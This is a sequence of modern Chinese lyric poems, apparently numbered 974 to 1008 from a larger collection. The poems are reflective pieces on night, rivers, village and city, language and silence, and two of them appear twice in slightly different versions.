酒已不是粮食的喟叹了。一条远江跃出， 如今在了酒水之外。我们每一次饮酒的同时 我沿循命运不可逃离而重复着，那美丽之事。 我为沉默的复述干杯，竟似于我 对着空气干杯，一杯杯的筑牢南方的堤岸。 尝试着靠近你的脸庞，在你黑色的眼眸， 微红脸颊和嘴唇。仿佛一切为我准备。 “小翠”。你家乡话的贡品和归宿，我是。 为这无觉时刻但是其他的一切依然存在着。 存在于我的体内，是我身体的内部。 为肤浅者的思所度日如年般创造的，莫名的幸福着。以后我呼唤你如同饮酒， 我听见有人在清醒中看着桌子上的空杯子， 你正试图远去，蜡烛不在，灯盏不灭， 你无效的口气，你在明日的列车和长笛中失败。 夜晚974 《夜晚》 感觉用很像来替代，来 在熙熙攘攘依然存在的夜间表示， 表示，行人偶然的问路，客气的寒暄。 我从一个叫做自我的口袋里面而出， 边缘是众我陌不相识于 月色里面者。我如何该在这一 情形里面说你。易遗失而同样的 特征来自于辩护和沉默。 首先，为那一过去者都匆匆得成为了事物 何况它就发生在我的身上。 我解释它，来自于难以自抑。 我不像，我陌生，我无法将寂寞 予那领受三者之陌生的水的寂寞。 和远的无效的，无法被人们明证 上面，长出了历史，历史将我们拿起 在夜晚悄悄的移行。呵，语言得这一 布景，事先就存在的意思，在不可解释里面 以先验，先天般的涌出。 事先的一切是否因此被很好的保存。 无论好的，坏的。无论， 我觉得你突然消失于空的情形， 你渐渐的有了一种决绝。在我的脑海里面 覆盖了过去的，这一个也即将要过去。 这也是你，你闭口不谈的我， 是思虑所无法寻找到自己位置的。 大河975 《大河》 浅薄的深渊，只可脱落以后 那，它存在于纸上的宿命和历史 历史漫长中的这一短暂，于跃起中， 体现着一个人的顽固。 所以历史投身于未来， 实则只是事先就为寻找而生。 为寻找，一个身处街角旮旯 或者屋舍暗室的人。 当一切寻获无果，我们 所有美好的语言都被用尽。 蜡烛燃烧着桌面，留下黑色的伤疤。 这一个时刻，因为被你撞见 可以称作神圣了。 你没有名字，可以介绍自己的自然和遗忘。 你再迥异一些就会成为了我。那么， 我被自我的端持着，皮包骨头 伪装的形象。伪装的形象在于发现的 徒劳无获。为发现这一一直在路途上面的 漫长而渐渐心安理得的高歌，我唱起了歌曲 同时为庸才和放松者，我接受了 如同路边自然的屏风由树木和野花 所组成的，你偶然馈赠中的疑惑。 投身于目光的只可能同样获得对等的东西， 就像目光在短暂里面挣扎， 样子在出离开来的人与神各自， 在区分开来里面讨论着，通过 人的头脑所尝试的弥合。我将这一馈赠 由言语开始而因为你而不足的一切 通过伐木来减少了它的损失。 我将伐木，成浆，单薄的纸张 全部大大方方的放在我的胃部。 如果饮食遮盖了它们，如同哲理 使得我遗忘了它们，我记起了他们 是在我饿的肚子咕咕叫的时候的 艰难的权衡，在语言里面投放下来的 一面镜子，我遗忘了这一些， 更进一步的原地不动，离魂被存在于 世间的人证明为错误而离开了证明的 这一片大地的沉默，为在密林这一虚假的 陌不相识，是为天长地久之人类悲愤 和源自于苦难之意。迷乱的小路，小路 曲折，通往密林。筑，思，居，被从底部 抽离了水的形象，水需要流淌而在抽离中 不断的填补。因此，我热爱深渊，热爱纸张 贫乏者的热爱是对于大河一见如故的热爱。 楼上976 《楼上》 他是魔鬼于 被如此端视着的语言而无果的 时刻的众多。他是静的行走， 一言不发。他已经经受了矛盾和冲突， 痛，在自己的体内，痛的他 不好说话，一言不发。 这沉默的所有事物的近邻， 依然需要漫长的时间， 像所有的人都会在世界上的事物的 磨盘上面磨损了自己的岁月。 我，圆滑者之中，为圆滑与事故 证词。闲暇中看你的存在， 为在赤裸之中你遵循人类准则的 穿上了一层又一层，因此 无果的衣裳。遮不蔽体者 感受到了来自于群体最大的冒犯， 怀有着憧憬之心的一束目光， 暴露了我的位置，思想，仿佛确实 慢慢的，开始是了一切的始作俑者。 阁楼977 《阁楼》 如果我不叫出它的名字，而这 却是昏暗里面，它寻觅的结果呢。 它会直接的开花，爬上了树梢， 抛弃了语言。乃是为自身者的全部 需要在历经了许许多多个，不顺。 为再次从了日子里面，像它自己 隔着水分子充盈的空气，沉默的 为这一预示。身体的姿势，相应的 予以征兆。我由此断定，蓝开白花 是一种远人归来的传统。我正身处 一个破旧的阁楼，一个过去的起点， 一下子就因此成谜。在一个端点上面 成了它难免要破旧的原因。为从这一 对待于看，再怎么感激也不逞多让的， 就像攀缘，沿着破旧的扶梯，一层层 攀登，避开了自己。却在前人所遗留 下来的并不孤独里面，试着为那催生 是在于美丽和繁荣。就是这样一个底部， 就是你慢慢的成为了我在日久弥新里面 包含了衰败的外表。内部，我越过了语言 我是你作为开放的花朵，有着极其漫长的 根茎的根须。足足一个赤道那样长的合围 破旧，湿软。我在土壤中，无法离开。我 制造了闲暇里面带着歉意的果实，之后沿 秋天的传统一路上升。我的心思从它升起 的地方落下，在目光与我的这一同一之中， 这里，为位置的空所包含了人类的，春意 本质，在繁多中吟唱的必然孤独，如同一个 阀门，在人类，离去者所低低吟唱着的调门中 依然存在， 桃花仙人978 桃花仙人 《桃花仙人》 春天被一棵桃树证明。 春天为水的时刻，短暂，随后干涸。 像一个不大不小的事件， 如同银色的指针正指着什么事和什么人。 指着，使得人在事物里面怯懦， 为悲歌于贪婪的才可以有一个 彼此都合适的，你，消弭而我丰盈的 结果之好。为你开花之好，为在语言之多 实则言语恬躁中，为你好来运送 独木车上塑料桶中的水。 若是人与你在水中相送， 我就是岸上的樵夫。樵夫不见， 林木葱茏，我就需要怀着诸多 需要忏悔的歉意，只身跃入水中。 我在白天为夜晚之必要做的一切 是伦理和德性所涉及到了思想之后的 那新道德的一天。 我只是一只脚走进了，他们 唐诗宋词化的诗歌之门扉，也许 正是我面前为陌生人的身份 所无法熟稔于一支，在门前， 我听出了你的心意，我知道 人面不知何处去只是你的远方小姐妹 嫁错了郎君，这历史的悬案不能 因为美感的一拖再拖了。 我知道，你能应允于那些错误， 它们一开始就存在。仿佛随着春水， 颇有微情。仿佛水面的波光和浮萍 而水下空空，本质已经被你偷去。 春天为你证明的时候，不止于水的 妄动。它会突然的汹涌，因此愈发的柔情。 它会在柔情里面影影绰绰了你诗歌一般的 身影。仿佛隔着帘慕的雨水，你 就会匆匆的结出了令人喜悦的果子。 那人，贾岛还是桃花仙人。从屋子里面的 千年暗室出来，那被雨水淋出来之人， 全然否定于水再无本质的事实。 鸟雀浮略，飞行为事，也是桃花， 当时你被推了一下。这水和雨水的原因般的 为推了你一下的整个的世界为 一切所代称。樵夫愿意一生为之称呼而活， 被我含在了嘴里面。我砍柴，与黑暗中的 桃花仙人为邻。任何事物都粉粉后退 如何进入短暂的因果为题。因为，只需要 一听到“千年” 水流979 《水流》 漫不经心的终点，是心灵上面 有异。那么，这一些期待于过去 时光的，水。当它们的山居岁月 在河流的囤居，拐弯的地方 短暂的实现。岸边的树枝 低垂下嫩绿的叶子，伸向水面。 如同一位仕女，以柔情蜜意 拷问着我们的坚决。是土地上面 这整体，包括了你和我的这一块。 漫不经心则终点不过如此，人 脚下踩着松软的土壤板结，成为一个 地上的土块。请在我试图将它们 粉粉踩碎的时刻打扰我，猜透 我心思的人一言不发，农夫离开 回到村庄。只有我一个人让那 如同回声一般的滞留。在它作为被 作为不置可否的事物。经过我身边的 白天里的流水，形式优美，众多 为这一区间中，比我还要放松 和自y的事物，怀着诙谐的心思 围绕着我旋转。 居民980 《居民》 把目光移开， 从目光的移开而言 挽留，是道德上面 人世的热情和短暂， 它总是一再的因此裸露着 建筑般灰色的墙壁。 我因此还没有走，没有离开 没有，它已经耗尽了我在此 停留和休息所需要的时间。 我渴望于无，谁因此又可以反驳呢， 谁因此又可以凭此而下降到了 谎言一般自己，以那人类的量子膜的。 它砰砰直跳， 现实里面直面着谎言般的易破碎。 它在我的面前是真实的你 在我的眼前走来走去， 你也是那鱼儿的邻居，但这 永恒的真理也是永恒的不可被察觉的 秘密，只是在梦境中被告知， 告知，被幻想所粉碎。 一切皆破碎不堪， 移开只能栖居于记忆里面。 现在谈论的移开，以及那 说和谈论，在你的眼睛里面我徐徐上升 如同人自我的边界么。 我不想在移开里面谈论你这 已成为过去的事物了。 请拼凑我，彼此告知，我们都 一一接受了，像是彼此都是最终在 言语中落到谎言中的世界居民。 居民981 居民 《居民》 把目光移开， 从目光的移开而言 挽留，是道德上面 人世的热情和短暂， 它总是一再的因此裸露着 建筑般灰色的墙壁。 我因此还没有走，没有离开 没有，它已经耗尽了我在此 停留和休息所需要的时间。 我渴望于无，谁因此又可以反驳呢， 谁因此又可以凭此而下降到了 谎言一般自己，以那人类的良知。 它砰砰直跳， 现实里面直面着谎言般的易破碎。 它在我的面前是真实的你 在我的眼前走来走去， 你也是那鱼儿的邻居，但这 永恒的真理也是永恒的不可被察觉的 秘密，只是在梦境中被告知， 告知，被幻想所粉碎。 一切皆破碎不堪， 移开只能栖居于记忆里面。 现在谈论的移开，以及那 说和谈论，在你的眼睛里面我徐徐上升 如同人自我的边界么。 我不想在移开里面谈论你这 已成为过去的事物了。 请拼凑我，彼此告知，我们都 一一接受了，像是彼此都是最终在 言语中落到谎言中的世界居民。 果园982 《果园》 青出于蓝，是枝条上果子的哑然。 沉默的田园，为路途消失而歌唱。 昨夜，沿着这些缥缈的呼唤 当如今它们作为证据甚至倾向于 在保持沉默的颜色之中，有着一丝丝的 浓郁和寡淡，为自身的不可调和者 在我看来只是面对着人，与它们唯一的 关系是饮食中餐后或者餐前的一小部分。 它们因此退居深山，才更加的只是 轻易的就被一路醉意熏熏的话语所发现。 它们结伴的伙伴，是同行在一条不归路上 渐渐的被驱离了痛和痒那饮食之必要。 所以，它们，更深的参与，将沉默的如今 展现。休息，单纯的只是休息，不会， 梦幻般没有手没有脚，在千年的等待之后 走向别处，走向断崖和空无。 青出于蓝，以人类多年观察的口吻 阻止了一场掉落的发生。而如今， 从天空往下的视角，日日夜夜 大地被一棵地面上的树木所垂怜。 日日夜夜，虚无和断崖从那里作为了 连接世界和人世之间的言语的桥梁。 人，沉默的走着，越来越沉默，于是 形同于一种他物的宿命。当所有的一切 都被我们排除在外，自Y的果园，林木葱郁 溪水潺潺，为遮盖这一事实美丽的自然景观， 我为发现者的弥蒙和无知而赞歌， 为此时刻的短，和作为农民 理应终生存在于不幸中的种种。 思慕983 《思慕》 我思慕你，而没有尽头 在一条江上发现我雾气般的情怀， 清晨的渔民，被语言分割开来 成了傍晚的渔民。他有多少鱼， 就会有多少个秘密，本质， 多少条呢？一下子就从本质成为了 现象的汹涌，那成为了饮食之邻居者 以妻子和家境贫寒来求情于我， 绝口不提呀，提我呀，住在这条江水的上游。 远山如黛984 远山如黛 《远山如黛》 生者， 理应为自己背书。渐渐远去 如同一个噪音。如同生这一 被生者的解释的痛苦，为生所 解释这一多余和不必要， 倒不如退入深山，重新的钻木取火。 山中还没有雪花纷纷， 在这一大的盛景的浩大之下， 偶尔应该有片缕为那言语的通路， 又在于融化中，融化。 让无从辩解的人，借此面容平静。 让我坐在他的饥肠辘辘面前， 一个时时刻刻猜透了他的心扉 颤抖的人儿，颤抖着他那， 同样浅薄的心扉。在俗世之间， 就只是你和我。只是为一个事物， 一个文字，一个 声音的旅程在被偶尔提出如同创造之 光芒的地方。且以远山远水视之。 我顿觉你将以生的方式，又会在 明日里面最开始的时候成为了，那 使得落雪为疑的肇事者。自顾自的农夫 披上了衣帽就一言不发的走向， 一个自己从未去过的山之熟悉。 我为翠鸟鸣笛，在远方那是尘世里 充满的女子的冤屈。我攀缘到树的 命运之上，为这露出的本能， 恍惚之间你只能以火光和木柴的意义为食， 并且将它们那影子投在我的， 同样的一个时刻。 夜晚的街灯985 夜晚的街灯 《夜晚的街灯》 我抓住些，空气中任意的微小。 我向着酒水的这一 决心和意志。我，没有琴弦 才在阴影与路灯所投射下来了 树叶摇晃一般，光斑的不同。 差异，抑制了自身，黑暗， 将我的思绪囚禁在了里面， 甚至在人这一晃动，用我的双手， 只是我自己也没有发觉，我的发觉 也同样颓然无力。行尸走肉，已经 越来越通过了迈步的这一夜晚的 本质，而离开。是的，这是一个秘密 叙述性的话语，并不总是与佳人有关 并不总是缠绵，只是徒有其表地 空无的内部已经没有未被耗尽欲望的人 翻开。离开，而投身向酒水的这一 本身矛盾的缠绕的事情。离开的这一 沉默的缘何却又喧哗的声音。我将 永恒为这一酒水和夜晚的矛盾于离开那里， 为人们一次次同样邀约一般的伪装， 它们的到来，如同友朋，使得我离开。。。。。。 南方的村庄986 南方的村庄 《南方的村庄》 安静的，蒸腾的，屋舍 外面的稻田，通过 蝉鸣连接起来了远处 一排排的矮树，不需要证明。 一个词语，离开了它的故乡。 同样也是它的故乡离开了它。 人类的嘴唇依然追逐着词语， 就算已经经历和忍受了无数， 矛盾的事物后，为什么人类 还是要用以嘴唇说出的语言 来拆下建造屋舍的藤条和树干。 鞠起一次次在于流失中的河水？ 词语已因此虚幻了，大地上面 是我没有去过的地方，成为了 你的故乡。我打开了与空气 同样的新鲜的窗户，才好与你一起， 分担在你身体里，已经下降到了骨髓 的病症。词语为缅怀，但遇到了短暂 所设置的本身发生形式的困难。 除非它再次的发生，再次的失败， 再次的，在大地上面跳跃不停，为无形的 深渊，最终成为了值得肃穆的树木， 灌木丛，河水，屋舍，小路和羊群。 把人类放在语言早已经是重复的命运之中， 只是以难题的方式，像一种自然界 存在的引诱。为证明了人是活的， 在我们的的体内跳跃和晃动着的心脏的位置 像是突然之间有别的存在，以看不清 而言的，在靠近一个事物的抵达之前 是它又在短暂之中逝去。如同词语。 语言是一种词语之重言宿命的统称， 在眼睛里面一闪而逝的语言和自然景观， 在我童年居住过了的乡村，如今 当我衰老了，听闻了你的南方的村庄时。 一角987 《一角》 文字的一角，只是与夜晚的月亮 发生着关系。或许它们彼此 争夺着的，是蒙尘在它们上面 和下面的微弱光芒。如果 我不仔细的查看，而事实上， 确确实实是通过了想象，猜疑。 我停泊在这里，把一个远方的， 南方的位置交给了你。起初， 错误的才是原本的一切，事实。 枝条延伸着，而我紧拥着我们。 在我的希望被一点点的磨灭掉， 这样一个过程具体以行来迷蒙了 出发之前的我。我为未来和远方 都失去了耐性，我为单一的事物所做 的辩护，喃喃自语，神情 不受自己的控制。我也渴望， 通过横七竖八的被人类修剪过的森林 来到那梦幻的象形文字的小站。 我从那一撇或者一捺，下来， 再次的下来，以至于不再有回望。 不至于留恋，只是在于心中让它发生。 而为这样这个也可以被书写来表示者， 让它，让我，只是紧紧的抱住了自己。 那可以以欲望来表示，今夜， 欲望，代表了刚刚我微不足道的旅程中， 主要带给我的倦怠的体验。 一定988 《一定》 它面对的一定，是空的花朵 而不必要言谈。我就是这样 怯懦在如果里面，为如果的放弃 而怯懦。为这独自一个人类 而不是一个人，而不是一个 人类走过了我的面前的世界。 人们蜷缩的手指，是否还可以伸直 是否那就是一个值得兴奋因它 那事件里面所含有的悲观: 弯起来的手指的关节敲门， 木头的，接着敲击到了一棵 山顶上面，曾经为存在而 存在却绵长的木，敲出世界的人， 一个个的人是世界的庸俗 我避开，避开一个个的人。 我希望让他们看到了我的离开， 我的行动，从山顶上面的一间 木屋里面下来。为行走而歌的短暂， 为行走而路过流水，踩溅起了水花。 为行动的这一歌，多半在它那极不情愿 里面，为这一困难如果我们被照见， 如同镜子一般的反光而光芒的永恒 常在。我们的脸庞应该带着希望， 在你我的脸上推动了它，接着推动那 手为双和完整时候的尴尬，无聊。 故乡989 故乡 《故乡》 我可以活三辈子，那样绵长 但我却因此那样的，渐渐的 开始学会了察言观色，变得 吝啬，夜晚我的歌曲会突兀的 只有在它为这寂寞和无边夜色 而高歌之时，为迥异的和谐 只是表明了真理只是把， “的”这个词语，慢慢的在两边的 事物之中去掉了。那么，良心的我 不会有其他的名字，你也一样， 你的名字，我的名字，我们的 给我们起名字的父辈，爷爷辈的名字 我可以活着，三辈子。那么， 不会再多了，那也是我记忆仅仅可以 耳濡目染。为在这一故乡一般的范畴 和领域，渐渐的为范围里面的一束光芒。 它颠倒，观察，我就是这一束 代表着它早已经衰弱，如同逝去的 一代人。为在新生于这一衰弱实则 只是沾染着泥土，扑打掉裤腿上泥土的 一种现实。它为相似性所迷惑的目光 来自于他人，他们从我的眼前走过， 如同三个文字，摆在我的面前，只有 纸张是移动的，来自于风，风出自于我的 目光，它隐含着“故乡”这一称谓。 屋子990 《屋子》 为打开而打开，推开于物 它纹理的物的，表面正因此 经受着，想象多半猜测正确， 或者，错误之中人类一再 可以狡辩。那么，一个物因此 是虚无的处境的，写实的写照。 为打开而打开，或者在这个傍晚， 我并不打开了，短暂的时光，闲暇 我暂时也无法，为此而高歌。我 已经走进了院子，打开了门， 走进了屋子里面。霞光与屋舍之间， 为我所存在的分界线。不单单这一些， 那物，我走进了屋子里面，看到了 桌子上面的它，只是一个苹果。 我交代的语言如此庸俗，，如同 大地上面一层轻轻的，在大地表面 滑落的霞光，为这短暂没有给我们 可言说的空隙，而沉默的物，则是虚无， 那在一惊中的真相。 故乡991 《故乡》 我也曾经在那里， 我用双手，为了不使得 它空置，我怀抱着它。 我离开了那里 一个地方像一朵花儿， 缺少了它的形容词。 我如今不在了那里， 不在那里了。这不在， 别人的不在，还有通过 那一处地方为微风，风 穿过。那可能是无形中 吟唱的乐歌，疲乏的人儿 需要在他的寻找之中，一点点 不再疲乏。我们感到了放松， 日暮西斜，太阳，也从 那上空经过，我放松的离开那里， 走进夜晚。我一直离开像一个 与白天有关的谜语，因为 有着更大的不可解释者，日升日落 围绕着它。沉默围绕着它，澄明被 手儿一般的牵起，像无形的风也 一同来到了夜晚。这里。 谁都没有发现，谁都以微笑来面对， 谁都不再是人通过了走动对于 生灵的袭扰和晃动。为在这一 并不投在大地的阴影上面， 像是阴影这一对此的需要， 语言的此刻是无比新鲜的词语， 像这里，众多的思想是众多的 人的思绪的凌乱，沿着清晰 被枝叶和树木掩映的道路， 于前进中停留乃是一种微笑般的 危险，如果我最初只是自然的 走进了夜里。它与傍晚是同一个， 它为词语而让出了位置， 自己不小心落进了雨水过后的 一个小小的美丽坑洼。 致马雁992 《致马雁》 还好，我沉重不起来， 还好沉重还没来。 还好，为什么看起来 需要被拯救的，人类 却在我的一束目光里面 带着乐观主义的精神呢。 抓住了我眼神之中，向上的 竹梯和藤条。 在此刻，未来与过去，现在 同在，却使用了“只是”，只是 它二元论的样子显示了 光线洒落时候的时间的神秘。 一种亲密的，类似于我与我之间的 关系，一种词语和声音在生出 之中，关系的喷涌，一个词，一个 宇宙。一个大的是小的，我就 处在这个位置，房间之内 有一条竹梯，藤条，上面 光线透过窗户，缝隙洒落下来。 我在黑暗里面消失， 我在光明里面重现。 我在被斩断了因果的单纯的故事里面， 作为歌的这同样子的一个， 或者是它的之一，这是一个因为 此刻而丰富的房子，空荡荡的。 扬州993 《扬州》 转身，有人冲入 火光冲天的火场。 蝴蝶994 《蝴蝶》 逆风爬行中的蝴蝶，交代死亡 和飞翔之外的一切，如何呢。 \/ 需要被压住的反问， 在大对于那小，相比而言它 何其微弱。像不远处窗户里， 人紧紧抓着手中的笔。 书写已经结束，书写隔开了 人与蝴蝶，两种相似的动物。 \/ 它涂抹着接近结束，结束间 真正的界限，这里 在接近结束时一片模糊的地带。 为从这里而新生的一切， 操持着它们自己含混却愉悦的语言。 \/ 为从矛盾作为一个整体， 为从事物这一在我出生以前， 如同我的眼睛会沉默着说话 在忽闪里面说着抑扬顿挫者。 说蝴蝶这生灵，和出生之前者 \/ 仅仅在叫声里面的不可弥合者， 在名字的呼喊之中更进了一步， 误解在于我对于你， 你蝴蝶一般的躯体， 下午迷乱的天空中潮湿的电话线， 你是蝴蝶，我是人类 你沉默，你的名字在我之中 多半在我的体内，多半因此这， 说出的话语事先的凌乱，为 祛除而劳心伤神， 人类的苦一下子会在一个短暂的时间 里面很大，迈着蝴蝶飞翔的步伐 对于一个瞬间充满了感激， 感激如蝴蝶不可思议的电话线上的攀爬。 不能飞翔者因它被我 夺去了飞翔双翅的步伐。 扬州城的蝴蝶995 《扬州的蝴蝶》 逆风爬行的蝴蝶， 已经没有多少力气，来转身 而转身已经因此，在透明的 因果关系之中，接着关系在瞬息 之中如同蝴蝶前进的一点点收获， 为话语所提供的论据， 只是对于少数人的苦思冥想有效果。 作为喜悦的这一如同巨大发现的事物 当他从此走向了繁茂的人群 而蝴蝶的模样却在人手段和方式的 端持之中，依然渺小。蝴蝶， 已经成为了一个秘密的， 已经是一个对人而言本质的 事情是， 那电话线上的蝴蝶， 为一切风的吹拂只是身边， 为隔绝而永远不涉及到了自己。 有一天，它只是把自己的死亡 轻轻的交出， 以它，将在对死亡 和飞翔之外一切的交代之中被 大自然质询为基础的，这死亡 同样在人群和单一的人的心中 投下了不可获知的阴影。 修路996 《修路》 我在文字里面修筑道路。 书写是别的事情， 像食物，当修路者，上午的 工作结束。馒头，饭菜和水， 自然的横亘在工作之间。 作为事物的自然，它们也 在一天的中午横亘。犹如 作为一个利器，在隔开 上午和下午之中磨损了自己。 唯一的解决之道如同饮食 一般的，在吃中显得仓促， 凌乱起来。来自于时间短暂 的拷问。这一微不足道的理由 是微弱的，或书写也可以走到 那里，那出处，此刻被无言的 萦绕着，工人们被无暇顾及的 天色萦绕着，从自然的天光落下 来到了工人，作为工人的一分子 的我蒙受天光之恩，为书写这一 路微末的部分，当它已经完成， 就在这个即将充满了欢歌笑语的下午。 十字路口997 十字路口 《十字路口》 你出现在我的面前，我正走在 一条偏僻的北街。沿着道路 往前走，一直走到它与另一条 道路的交叉处。主干道与一条偏僻 道路形成了一个红绿灯的十字路口。 汽车，摩托车，行人和三轮车， 我的思也和它们一样。为在避开于 这种努力于相似后果的获得，就像 突然抬起头，在突兀里面才看到的 云霞。为陈词的不同，甚至这一个 与那一的绝对不同。而那一，因此 停顿的它，甚至是它的存在正停顿的 等待着，等待我走过去催生了它的出现。 而我已经为存在中存在着的我的疲倦 和绝望。为我在自身之中所激荡的 自身投降的声音却也无法在卑微中， 被允许获得片缕。在久远的过去，农民 进城，留下了语言，故乡，没了新家具。 而我想要在如今为过去如同背景的这一些 些。而仿佛渡河，一条线具有着难以参破 的界限。呵，错误的词语，以及今又出现 的场景。而我为在困难之中行走这一简单 的行为，实则来自于农村生活的不搭调的 回答。而回答的农村愈加如同神只般常在， 雾霭，乡村的烟雾，袅袅升起，为这一你 看到，便是你空手，渡河而来。遮蔽了 我忽略的部分，而我想放松下来，抛弃了 结果，树上的鸟儿们已经为生的死亡，只有 一次次的沿着这一条北边的道路鸣叫，歌唱 的它们常在，被挪移的事情已经发生，为痕迹 的已经发生作为一种残留，高歌有时候为向着 别处的企图，为行走所带来的这一切。我想， 大体如此，我也看到了你。 城市998 《城市》 我在城里居住， 住了下来，点灯， 点成了把永恒照亮的灯火 为在从自身的狭缝中 好来为你分出的语言，你我 同为一体。在语言震动着的 模样之外，你是我的亲戚却 美好于日渐陌生的错误。 你是我仿佛用手需要用力 我的手碾碎了自己的手指， 我的手握住了光线和时刻的一边， 你握住了另外一边。 我从农村来， 农村还没有结束。 我在城市里面居住下来， 还没有结束，城市 是一种回答。城市好来 回答有关于农村时， 我才可以忽略，轻蔑， 隔岸观火感。 日子999 《日子》 问题更早的出现，桌子上面的 一个地方曾经被烟灰缸占据， 如今，属于别的。答案也更早的 出现，人也不得不更早的出现。 我在自己的体内是手指 因为摸索不开而手的无用， 自我摸索所导致的混乱者， 说完了之后，我一抹嘴巴 像一块抹布。无论我在不在， 在哪里。是我解决问题的 更好的地方呢。经过我身边的人， 不知道。我需要夜色， 不知道我与他有关。只有在 一无所有者投身于他 自己的心事和生活，疲于奔命 或乐此不彼。因此为这一放置 本就附属于它，为我在回忆里面 所投身下来的一束光芒，为我 这作为一个阴影而混合于它 分不清的阴影，像问题，就是从 本属于自然之中的移动和不移动的， 来自于人类的静止。仿佛一种物的 崇高，仿佛别的路途，其他的，别的 以及更多。以及缺少了一个人， 站在那里。我没有他那么困苦， 为静止的一切所做的都是肤浅的。 为不可解的一切为问题，才使得 问题前行，与我的日子一起，一同。 风雪夜归人1000 《风雪夜归人》 问题更早的出现， 问题呵，问题 实则问题为无，如同 夜晚的天空上面，繁星如群 闪耀，也还有其中偶然的部分 难以被人类发现。 可以被我们的名字发现 便可以被梦境发现， 梦境之前的那一段喃喃自语的 话语，伴随着更早之前，他 费了好大的力气，才客气的 推辞了我以为是情爱的邀约， 乃至于是嗜酒的客人。 一切，都是起源于， 对于一天的广度而言不可再被发现的 流水了，不可以流水东去而视之。 对于你而言，是不可因此 秉持以错误和错误的始终。 我窥探到了你不饮酒，滴酒不沾 却也矛盾于善于遗忘的习惯。 我只是访客的一撇， 来者之于来的那事先 就在你的门前，敲门，更早 把一束目光挂在了附近的树梢上面。 抒情的错误的，更甚是模糊的 夜晚对于清晰期盼的人儿。 却清晰的人儿才是一切的源头。 问题，已经因为夜晚的无辜的历史， 而因为人的躲藏到了最深处， 那院子里面最浅层的沉默处，那一 是了的什么呢。 令我为言语生疑者， 你，我，又是为问题而高歌者。 问题更早的出现， 人更早的出现， 倦怠和思虑的，也还有别的 在同样的一种节奏和韵律里面， 为同样的身体的摆动， 像我已经因为书写而遗忘了 最开始，为问题的无 那人的，我的，为此而歌的原因 和内容。无得回声，那也是， 也是，无得我和你的。 落日1001 《落日》 问题更早的出现 在了我因此需要遗忘的领域。 为我这因此依然完整的肉体 和身份， 为此我看到了我的一生 带着短暂的特征而寻找着，为了 将劳碌这一属于别的事物，为 言语属于话语，存活于缝隙 那缝隙， 在肉体和劳作的自然崇高之间 也还包括着云霞一般的混乱，美丽的 颜色而需要太阳，太阳西沉。 为此，作别吧。而回声，在群山之间回荡 在记忆里面回荡。如同 在群山的峭壁上面雕刻者的艰难， 为从他那处匆匆离开而 我带着一撇的眼神的轻蔑而带来了 无原因和无结果。 问题已经更早的出现， 问题像一条长蛇， 我不触摸时间，时间无处不在 我夜晚祈祷，时间无处不在 时间的深处是一条蛇。 放松1002 《放松》 放松是一种美好的东西， 这就是我的语言。 如果你带来了我想要的， 带来了它。这就是我的唇， 就是你，正穿过夜色的一个 又一个的，池塘和稻田边界。 还有我这样一个， 因为水的滋润而干枯的说着 为不可完成者情谊般的 像最后的一个人身体上面的传统 沉默的。为沉默亲吻沉默， 为嘴唇，它在夜晚不可单一， 为你。 念出的它1003 《念出的它》 我念出的它， 是检视它的。 \/ 听一听，回声的假象里面 回声的不可短暂的消亡。 \/ 我念出的它， 是我在同时检视它。 \/ 为疲惫者这一，只是从身体里面 流露般一束的遗漏了出来 而它的本质的源头已经在关闭的 一次次之中了。 \/ 而听到了抒情的话语， 为什么是我呢。 \/ 情谊，与道德相连 从它，从繁多的事务而来 为回应人的怜悯， 它也应该在最后是作为 人，而借着言语的。 问题1004 《问题》 问题更早的出现， 便湿滑的沿着身体， 出现在每一处。 \/ 请问题端详下，没有 回声那永恒回答的本质 便没有消失，没有复现。 没有出现的惊奇， 在我，人类的脸庞被一个接一个 的代表上面，在我的沙子一样， 增多和减少，这里与附近， 同时发生的地方。 \/ 看， 我是如何思虑于它 这问题时的我的精神。 \/ 我是为短暂而喜悦的人儿 因此被不可知不断的袭扰着 我住下来，在里面， 外表看起来像新的矛盾的事物。 十字路口1005 十字路口 《十字路口》 你出现在我的面前，我正走在 一条偏僻的北街。沿着道路 往前走，一直走到它与另一条 道路的交叉处。主干道与一条偏僻 道路形成了一个红绿灯的十字路口。 汽车，摩托车，行人和三轮车， 我的思也和它们一样。为在避开于 这种努力于相似后果的获得，就像 突然抬起头，在突兀里面才看到的 云霞。为陈词的不同，甚至这一个 与那一不同的绝对。而那一，因此 停顿的它，甚至是它的存在正停顿的 瞧吧，等待我走过去催生了它的出现。 而我已经为存在中存在着的我的疲倦 和绝望。为我在自身之中所激荡的 自身投降的声音却也无法在卑微中， 被允许获得片缕。在久远的过去，农民 进城，留下了语言，故乡，没了新家具。 而我想要在如今为过去如同背景的这一些 些。而仿佛渡河，一条线具有着难以参破 的界限。呵，错误的词语，以及今又出现 的场景。而我为在困难之中行走这一简单 的行为，实则来自于农村生活的不搭调的 回答。而回答的农村愈加如同神只般常在， 雾霭，乡村的烟雾，袅袅升起，为这一你 看到，便是你空手，渡河而来。遮蔽了 我忽略的部分，而我想放松下来，抛弃了 结果，树上的鸟儿们已经为生的死亡，只有 一次次的沿着这一条北边的道路鸣叫，歌唱 的它们常在，被挪移的事情已经发生，为痕迹 的已经发生作为一种残留，高歌有时候为向着 别处的企图，为行走所带来的这一切。我想， 大体如此，我也看到了你。 诗人马雁1006 《诗人马雁》 我在读，和面前的诗， 是两回事。我以念出， 我也恳请念出在告知 中保持不变。是我自己， 如果吐露了事实。这还 没有发生，在下一刻 发生的，往往是对上一刻 的紧随和延续。是一种惯性， 戛然而止者，一定遇到了 什么巨大的阻力，书本没有 被掀翻，书中的故事有着 更壮阔的大风，和大浪。纸张 干透，白里泛黄。阅读， 不需要擦拭掉，上面不存在 的水汽。我的心灵局促不安， 是正常的。我告诉自己，诗里 的荒村野岭正等待着又一个 寻找医生的受害人。 马路上1007 《马路上》 我读，和眼前桌子上面的 诗歌，是两回事。 我念出有声，一边告知， 为自己的心思以希望来呈现， 去尝试，在声音这同一条 旅途上面，不能为静止 的日子太久。不能为久到停留， 成为了一首赞歌，也唱给我听。 不能，即使同时是我 在自己别无他处的身体上面， 奔腾，紧接于此，仿佛 奔腾是喜悦，喜悦的理由来自于 身体被思绪的梳子， 重新的梳理了一番。 拖着沉重的身子， 一边为从阅读之中，寻找 可以解决矛盾迫在眉睫的 现实的处境不成？如今 这些疑问已经披上了陈述句式 的外衣，我忽然觉得道德已 危，面相沉稳，白日里像树， 或者走过的行人脸庞上面的 树木，另外的影子。垂下的结果 使得语言不可逃遁。 西部1008 西部 《西部》 自Y的人，愿意栖居的平静 单纯的思回荡着诗歌的声音。 自由人栖居，远离东部的牢Y。 